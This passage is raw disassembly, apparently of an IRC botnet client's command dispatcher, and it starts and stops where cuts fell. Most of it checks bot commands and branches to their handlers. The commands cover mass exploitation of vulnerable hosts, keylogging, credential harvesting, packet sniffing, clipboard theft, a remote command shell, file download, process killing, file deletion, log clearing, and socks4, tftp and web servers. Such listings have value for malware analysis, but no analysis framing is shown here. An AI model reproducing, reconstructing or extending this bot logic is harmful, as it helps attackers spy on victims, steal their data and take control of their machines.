loc_412628 push edi push offset aServer_socks_0 ; "server.socks4.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DEC4 push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_436114 loc_40DEA8: ; CODE XREF: sub_40CE55+1093j ; sub_40CE55+10B9j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_415221 add esp, 20h jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40DEC4: ; CODE XREF: sub_40CE55+103Ej push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DEEA push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_4360F0 jmp short loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DEEA: ; CODE XREF: sub_40CE55+107Ej push edi push offset dword_4360E0 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF10 push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_4360D4 jmp short loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF10: ; CODE XREF: sub_40CE55+10A4j push edi push offset dword_4360CC call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF39 push [ebp+esi+var_90] push 1Ch push offset dword_4360C0 push offset dword_4360B4 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF39: ; CODE XREF: sub_40CE55+10CAj push edi push offset aServer_redirec ; "server.redirect.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF62 push [ebp+esi+var_90] push 10h push offset dword_436090 push offset dword_436080 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40CE55+10F3j push edi push offset dword_436074 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF8B push [ebp+esi+var_90] push 0Ah push offset dword_436068 push offset dword_43605C jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF8B: ; CODE XREF: sub_40CE55+111Cj push edi push offset dword_43604C call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DFB4 push [ebp+esi+var_90] push 0Bh push offset dword_436040 push offset dword_436034 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DFB4: ; CODE XREF: sub_40CE55+1145j push edi push offset dword_436024 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DFDD push [ebp+esi+var_90] push 0Fh push offset dword_436018 push offset dword_43600C jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DFDD: ; CODE XREF: sub_40CE55+116Ej push edi push offset dword_435FFC call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E006 push [ebp+esi+var_90] push 0Eh push offset dword_435FF0 push offset dword_435FE4 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E006: ; CODE XREF: sub_40CE55+1197j push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E02F push [ebp+esi+var_90] push 4 push offset aServer ; "Server" push offset dword_435FC8 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E02F: ; CODE XREF: sub_40CE55+11C0j push edi push offset aBox_findfile_o ; "box.findfile.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412610 push edi push offset aBox_ff_off ; "box.ff.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412610 push edi push offset aBox_procs_off ; "box.procs.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125F8 push edi push offset aBox_ps_off ; "box.ps.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125F8 push edi push offset aClone_off ; "clone.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E0AC push [ebp+esi+var_90] push 17h push offset aClone ; "Clone" push offset dword_435F68 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E0AC: ; CODE XREF: sub_40CE55+123Dj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E0D5 push [ebp+esi+var_90] push 19h push offset aSecure_0 ; "Secure" push offset dword_435F40 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E0D5: ; CODE XREF: sub_40CE55+1266j push edi push offset aVuln_stop ; "vuln.stop" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E0FE push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E0FE: ; CODE XREF: sub_40CE55+128Fj push edi push offset aVuln_stats ; "vuln.stats" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125E2 push edi push offset aVuln_st ; "vuln.st" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125E2 push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125C1 push edi push offset aEnz_rh4 ; "enz.rh4" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125C1 push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41259F push edi push offset aEnz_et3 ; "enz.et3" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41259F push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412557 push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412557 push edi push offset aEnz_status ; "enz.status" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412519 push edi push offset aEnz_s ; "enz.s" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412519 push edi push offset aEnz_id ; "enz.id" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4124E2 push edi push offset aEnz_i ; "enz.i" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4124E2 push edi push offset aBox_rebewt ; "box.rebewt" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E24C call sub_409DF3 test eax, eax mov eax, offset dword_435E64 jnz short loc_40E21E mov eax, offset dword_435E2C loc_40E21E: ; CODE XREF: sub_40CE55+13C2j push eax lea eax, [ebp+var_2C8] push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 1Ch jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_40E24C: ; CODE XREF: sub_40CE55+13B4j push edi push offset aThreads_list ; "threads.list" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123F1 push edi push offset aThreads_l ; "threads.l" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123F1 push edi push offset aEnz_aliases ; "enz.aliases" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123D1 push edi push offset aEnz_al ; "enz.al" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123D1 push edi push offset aEnz_log ; "enz.log" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122E1 push edi push offset aEnz_lg ; "enz.lg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122E1 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122C8 push edi push offset aUtil_clg ; "util.clg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122C8 push edi push offset aBox_netinfo ; "box.netinfo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412291 push edi push offset aBox_ni ; "box.ni" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412291 push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412266 push edi push offset aBox_si ; "box.si" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412266 push edi push offset aEnz_beg0ne ; "enz.beg0ne" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41222C push edi push offset aEnz_b3g ; "enz.b3g" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41222C push edi push offset aBox_procs ; "box.procs" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412123 push edi push offset aBox_ps ; "box.ps" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412123 push edi push offset aBox_harvest ; "box.harvest" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4120F9 push edi push offset aBox_key ; "box.key" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4120F9 push edi push offset aBox_uptime ; "box.uptime" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412075 push edi push offset aBox_up ; "box.up" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412075 push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412058 push edi push offset aBox_drv ; "box.drv" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412058 push edi push offset aBox_testdlls ; "box.testdlls" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41203F push edi push offset aBox_dll ; "box.dll" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41203F push edi push offset aBox_opencmd ; "box.opencmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FF8 push edi push offset aBox_ocmd ; "box.ocmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FF8 push edi push offset aBox_ocmd_off ; "box.ocmd.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E497 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E497: ; CODE XREF: sub_40CE55+1628j push edi push offset aEnz_who ; "enz.who" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E524 cmp [ebp+var_8], ebx jnz short loc_40E4C7 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_40E4C7: ; CODE XREF: sub_40CE55+1656j mov edi, [ebp+arg_18] xor esi, esi loc_40E4CC: ; CODE XREF: sub_40CE55+16BDj cmp [edi], bl lea eax, [edi+1] jnz short loc_40E4D8 mov eax, offset aEmpty ; "<Empty>" loc_40E4D8: ; CODE XREF: sub_40CE55+167Cj push eax push esi lea eax, [ebp+var_2C8] push offset aD_S ; "%d. %s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40E4CC push offset dword_435C8C loc_40E519: ; CODE XREF: sub_40CE55+5688j call sub_40B16D pop ecx jmp loc_41298E ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40CE55+1651j push edi push offset aBox_getclip ; "box.getclip" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FB7 push edi push offset aBox_gc ; "box.gc" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FB7 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F8C push edi push offset aUtil_farp ; "util.farp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F8C push edi push offset aUtil_flushdns ; "util.flushdns" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F68 push edi push offset aUtil_fdns ; "util.fdns" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F68 push edi push offset aVuln_currentip ; "vuln.currentip" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F2B push edi push offset aVuln_cip ; "vuln.cip" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F2B push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411D91 push edi push offset aServer_web_on ; "server.web.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411D91 push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411C53 push edi push offset aServer_tf_on ; "server.tf.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411C53 push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411958 push edi push offset aVall ; "vall" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411958 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40D219 push [ebp+arg_8] push offset aEnz_nick ; "enz.nick" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41193F push [ebp+arg_8] push offset aEnz_n ; "enz.n" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41193F push [ebp+arg_8] push offset aEnz_join ; "enz.join" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41191F push [ebp+arg_8] push offset aEnz_j ; "enz.j" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41191F push [ebp+arg_8] push offset aEnz_part ; "enz.part" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411906 push [ebp+arg_8] push offset aEnz_pt ; "enz.pt" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411906 push [ebp+arg_8] push offset aEnz_raw ; "enz.raw" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4118CF push [ebp+arg_8] push offset aEnz_r ; "enz.r" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4118CF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41180C push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41180C push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411761 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411761 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411716 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411716 push [ebp+arg_8] push offset aEnz_prefix ; "enz.prefix" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411701 push [ebp+arg_8] push offset aEnz_pr ; "enz.pr" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411701 push [ebp+arg_8] push offset aBox_open ; "box.open" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116D7 push [ebp+arg_8] push offset aBox_o ; "box.o" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116D7 push [ebp+arg_8] push offset aEnz_setserve ; "enz.setserve" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116B2 push [ebp+arg_8] push offset aEnz_se ; "enz.se" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116B2 push [ebp+arg_8] push offset aEnz_dns ; "enz.dns" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411650 push [ebp+arg_8] push offset aEnz_dn ; "enz.dn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411650 push [ebp+arg_8] push offset aBox_killprocna ; "box.killprocname" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411624 push [ebp+arg_8] push offset aBox_kpn ; "box.kpn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411624 push [ebp+arg_8] push offset aBox_prockillid ; "box.prockillid" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4115C9 push [ebp+arg_8] push offset aBox_pkid ; "box.pkid" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4115C9 push [ebp+arg_8] push offset aBox_delete ; "box.delete" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411592 push [ebp+arg_8] push offset aBox_del ; "box.del" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411592 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4114B1 push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4114B1 push [ebp+arg_8] push offset aBox_filelist ; "box.filelist" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411496 push [ebp+arg_8] push offset aBox_fl ; "box.fl" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411496 push [ebp+arg_8] push offset aEnz_visit ; "enz.visit" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4113B8 push [ebp+arg_8] push offset aEnz_v ; "enz.v" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4113B8 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41137D push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41137D push [ebp+arg_8] push offset aBox_cmd ; "box.cmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411332 push [ebp+arg_8] push offset aBox_cm ; "box.cm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411332 push [ebp+arg_8] push offset aBox_readfile ; "box.readfile" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4112AD push [ebp+arg_8] push offset aBox_rf ; "box.rf" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4112AD push [ebp+arg_8] push offset aSniff ; "sniff" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EB3B push edi push offset aOn ; "on" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EB06 push 18h call sub_4151DB test eax, eax pop ecx jle short loc_40EA33 push offset unk_4359E4 jmp loc_40EBA7 ; --------------------------------------------------------------------------- loc_40EA33: ; CODE XREF: sub_40CE55+1BD2j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4DC], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_450], eax jnz short loc_40EA75 mov esi, offset dword_42C250 push offset byte_438FDC push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EA75 mov esi, [ebp+var_8C] loc_40EA75: ; CODE XREF: sub_40CE55+1C02j ; sub_40CE55+1C18j push esi lea eax, [ebp+var_4D8] push 80h push eax call sub_415A6A lea eax, [ebp+var_2C8] push offset unk_4359A0 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 18h push eax call sub_414F93 add esp, 20h mov [ebp+var_458], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4DC] push ebx push eax push offset sub_4024DC push ebx push ebx call dword_42108C mov ecx, [ebp+var_458] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_40EAF5 loc_40EADF: ; CODE XREF: sub_40CE55+1C9Ej cmp [ebp+var_44C], ebx jnz loc_40ECC3 push 32h call dword_421060 jmp short loc_40EADF ; --------------------------------------------------------------------------- loc_40EAF5: ; CODE XREF: sub_40CE55+1C88j call dword_421088 push eax push offset unk_435950 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40CE55+1BC2j push edi push offset aOff ; "off" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40ECC3 push ebx push 18h call sub_41518E pop ecx cmp eax, ebx pop ecx jle short loc_40EB34 push eax push offset unk_435900 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_40EB34: ; CODE XREF: sub_40CE55+1CD2j push offset unk_4358C4 jmp short loc_40EBA7 ; --------------------------------------------------------------------------- loc_40EB3B: ; CODE XREF: sub_40CE55+1BADj push [ebp+arg_8] push offset aBox_keylog ; "box.keylog" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40ECED push edi push offset aOn ; "on" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40EBBA push edi push offset aFile ; "file" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40EBBA push edi push offset aOff ; "off" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40ECC3 push ebx push 1Ah call sub_41518E pop ecx cmp eax, ebx pop ecx jle short loc_40EBA2 push eax push offset unk_435868 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_40EBA2: ; CODE XREF: sub_40CE55+1D40j push offset unk_435828 loc_40EBA7: ; CODE XREF: sub_40CE55+1BD9j ; sub_40CE55+1CE4j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_40EBBA: ; CODE XREF: sub_40CE55+1D0Cj ; sub_40CE55+1D1Dj push 1Ah call sub_4151DB test eax, eax pop ecx jle short loc_40EBCD push offset unk_4357F4 jmp short loc_40EBA7 ; --------------------------------------------------------------------------- loc_40EBCD: ; CODE XREF: sub_40CE55+1D6Fj mov eax, [ebp+arg_4] push edi mov [ebp+var_4DC], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_454], eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EBFC mov [ebp+var_450], 1 jmp short loc_40EC05 ; --------------------------------------------------------------------------- loc_40EBFC: ; CODE XREF: sub_40CE55+1D99j mov eax, [ebp+var_8] mov [ebp+var_450], eax loc_40EC05: ; CODE XREF: sub_40CE55+1DA5j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_40EC2C mov esi, offset dword_42C24C push offset byte_438FDC push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EC2C mov esi, [ebp+var_8C] loc_40EC2C: ; CODE XREF: sub_40CE55+1DB9j ; sub_40CE55+1DCFj push esi lea eax, [ebp+var_4D4] push 80h push eax call sub_415A6A lea eax, [ebp+var_2C8] push offset unk_4357C0 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Ah push eax call sub_414F93 add esp, 20h mov [ebp+var_4D8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4DC] push ebx push eax push offset sub_4021FB push ebx push ebx call dword_42108C mov ecx, [ebp+var_4D8] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_40ECA8 loc_40EC96: ; CODE XREF: sub_40CE55+1E51j cmp [ebp+var_44C], ebx jnz short loc_40ECC3 push 32h call dword_421060 jmp short loc_40EC96 ; --------------------------------------------------------------------------- loc_40ECA8: ; CODE XREF: sub_40CE55+1E3Fj call dword_421088 push eax push offset unk_435770 loc_40ECB4: ; CODE XREF: sub_40CE55+1CACj ; sub_40CE55+1CDAj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_40ECC3: ; CODE XREF: sub_40CE55+1C90j ; sub_40CE55+1CC0j ... cmp [ebp+var_8], ebx jnz loc_40D7F9 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_40ECED: ; CODE XREF: sub_40CE55+1CF7j push [ebp+arg_8] push offset aBox_net ; "box.net" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EFBE cmp dword_43A488, ebx jz short loc_40ED1E cmp dword_43A4B0, ebx jz short loc_40ED1E push offset dword_43571C jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40ED1E: ; CODE XREF: sub_40CE55+1EB5j ; sub_40CE55+1EBDj cmp [ebp+var_C], ebx jz loc_40EF86 mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40ED46 push eax push [ebp+var_C] call sub_415AC0 pop ecx mov [ebp+arg_0], eax pop ecx loc_40ED46: ; CODE XREF: sub_40CE55+1EE1j push edi push offset aStart ; "start" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDAC cmp [ebp+arg_18], ebx jz short loc_40ED80 push [ebp+arg_0] push 3 loc_40ED61: ; CODE XREF: sub_40CE55+1F6Dj ; sub_40CE55+1F85j ... call sub_412DE7 push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 14h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_40ED80: ; CODE XREF: sub_40CE55+1F05j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_41308E add esp, 0Ch test eax, eax jz short loc_40EDA2 push offset dword_4356E4 jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EDA2: ; CODE XREF: sub_40CE55+1F41j push offset dword_4356B0 jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EDAC: ; CODE XREF: sub_40CE55+1F00j push edi push offset aStop ; "stop" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDC4 push [ebp+arg_0] push 4 jmp short loc_40ED61 ; --------------------------------------------------------------------------- loc_40EDC4: ; CODE XREF: sub_40CE55+1F66j push edi push offset aPause ; "pause" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDDC push [ebp+arg_0] push 5 jmp short loc_40ED61 ; --------------------------------------------------------------------------- loc_40EDDC: ; CODE XREF: sub_40CE55+1F7Ej push edi push offset aContinue ; "continue" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDF7 push [ebp+arg_0] push 6 jmp loc_40ED61 ; --------------------------------------------------------------------------- loc_40EDF7: ; CODE XREF: sub_40CE55+1F96j push edi push offset aDelete ; "delete" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EE12 push [ebp+arg_0] push 1 jmp loc_40ED61 ; --------------------------------------------------------------------------- loc_40EE12: ; CODE XREF: sub_40CE55+1FB1j push edi push offset aShare ; "share" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EE8F cmp [ebp+arg_18], ebx jz short loc_40EE62 cmp [ebp+var_9B0], bl jz short loc_40EE38 push ebx push [ebp+arg_18] push 1 jmp short loc_40EE43 ; --------------------------------------------------------------------------- loc_40EE38: ; CODE XREF: sub_40CE55+1FD9j push [ebp+esi+var_88] push [ebp+arg_18] push ebx loc_40EE43: ; CODE XREF: sub_40CE55+1FE1j call sub_4131CB push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 18h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_40EE62: ; CODE XREF: sub_40CE55+1FD1j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4133C0 add esp, 10h test eax, eax jz short loc_40EE85 push offset dword_43565C jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EE85: ; CODE XREF: sub_40CE55+2024j push offset dword_435628 jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EE8F: ; CODE XREF: sub_40CE55+1FCCj push edi push offset aUser ; "user" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EF2B mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40EF04 cmp [ebp+var_9B0], bl jz short loc_40EEC5 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_40EEE5 ; --------------------------------------------------------------------------- loc_40EEC5: ; CODE XREF: sub_40CE55+205Cj push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_40EEE1 push esi push eax push ebx jmp short loc_40EEE5 ; --------------------------------------------------------------------------- loc_40EEE1: ; CODE XREF: sub_40CE55+2085j push ebx push eax push 2 loc_40EEE5: ; CODE XREF: sub_40CE55+206Ej ; sub_40CE55+208Aj call sub_4134E1 push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 24h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_40EF04: ; CODE XREF: sub_40CE55+2054j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4139F5 add esp, 10h test eax, eax jz short loc_40EF24 push offset dword_4355F4 jmp short loc_40EF78 ; --------------------------------------------------------------------------- loc_40EF24: ; CODE XREF: sub_40CE55+20C6j push offset dword_4355C4 jmp short loc_40EF78 ; --------------------------------------------------------------------------- loc_40EF2B: ; CODE XREF: sub_40CE55+2049j push edi push offset aSend ; "send" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EF73 cmp [ebp+arg_18], ebx jz short loc_40EF6C push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_413CA9 push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 1Ch jmp short loc_40EF86 ; --------------------------------------------------------------------------- loc_40EF6C: ; CODE XREF: sub_40CE55+20EAj push offset dword_435590 jmp short loc_40EF78 ; --------------------------------------------------------------------------- loc_40EF73: ; CODE XREF: sub_40CE55+20E5j push offset dword_435560 loc_40EF78: ; CODE XREF: sub_40CE55+1EC4j ; sub_40CE55+1F48j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx loc_40EF86: ; CODE XREF: sub_40CE55+1ECCj ; sub_40CE55+1F26j ... cmp [ebp+var_8], ebx jnz short loc_40EFA7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_40EFA7: ; CODE XREF: sub_40CE55+2134j ; sub_40CE55+44CDj ... mov esi, [ebp+arg_24] loc_40EFAA: ; CODE XREF: sub_40CE55+9A7j ; sub_40CE55+47A8j ... lea eax, [ebp+var_2C8] push eax call sub_40B16D pop ecx mov eax, esi jmp loc_40D21C ; --------------------------------------------------------------------------- loc_40EFBE: ; CODE XREF: sub_40CE55+1EA9j push [ebp+arg_8] push offset aEnz_gethost ; "enz.gethost" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4111C9 push [ebp+arg_8] push offset aEnz_gh ; "enz.gh" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4111C9 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov 